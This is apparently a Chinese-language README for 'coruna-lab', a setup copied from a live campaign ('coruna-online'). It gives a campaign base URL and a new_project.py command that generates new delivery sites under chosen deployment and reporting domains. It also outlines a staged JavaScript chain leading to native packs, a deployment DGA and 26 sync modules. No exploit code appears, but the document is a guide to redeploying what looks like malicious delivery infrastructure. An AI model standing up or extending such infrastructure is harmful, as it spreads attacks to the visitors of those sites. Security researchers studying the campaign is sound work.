Files
coruna-lab/README.md
T
hashbro 22942f1a78 init
2026-08-05 05:42:10 +08:00

67 lines
2.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# coruna-lab
启动 / 验证 Coruna 链路所需的最小文件树。内容从 `coruna-online` **复制**而来,按线上 URL 路径放置。
```text
coruna-lab/
├── source/ # 只读模板(campaign 原样,勿 patch)
│ ├── web/<original-channel>/
│ └── sync/
├── server/public/
│ ├── web/<channel-id>/ # 每次 new_project 新增一个投递站
│ ├── sync/ # 每次 new_project 重建(同域名内容一致)
│ └── out/{channel,seeds,domains}.json
├── doc/
├── tools/
└── MANIFEST.json
```
线上 base(模板同源):
```text
https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/
```
## 新建项目(推荐)
从 `source/` 生成 **`server/public/web/<新channel>/`**(自动 32 hex channel + 固定域名);每次重建 `sync/`,同域名则字节一致:
```bash
cd coruna-lab
pip3 install py7zr pycryptodome
/usr/bin/python3 tools/new_project.py \
--deployment-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' \
--reporting-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info'
```
见 `server/public/out/channel.json` / `domains.json`;入口:
```text
https://<host>/web/<channel-id>/support.html
https://<host>/sync/daily.html
```
## 文档
| 文档 | 内容 |
|------|------|
| [`doc/STAGE_JS.md`](doc/STAGE_JS.md) | 入口 + Stage JS;对标 `coruna/` |
| [`doc/NATIVE_PACKS.md`](doc/NATIVE_PACKS.md) | 一级 / 二级包路径、联系、清单 |
| [`doc/SYNC.md`](doc/SYNC.md) | `daily.html` + 26 个业务模块 |
| [`tools/README.md`](tools/README.md) | 固定域名 + channel、`new_project`、分步补丁 |
## 链路(极简)
```text
support.html → Stage1/2/3 → 一级包 (.js) → (0x07) → 二级 type-0x01 (.min.js)
→ Deployment DGA → /sync/daily.html → 26 模块
```
## 其它
- 来源索引:`MANIFEST.json`
- 分析报告:`coruna-online/docs/`
- **不要**对 `source/` 跑 `--apply`;产物只写 `server/public/web/<channel>/` 与 `sync/`
- 工具细节见 [`tools/README.md`](tools/README.md)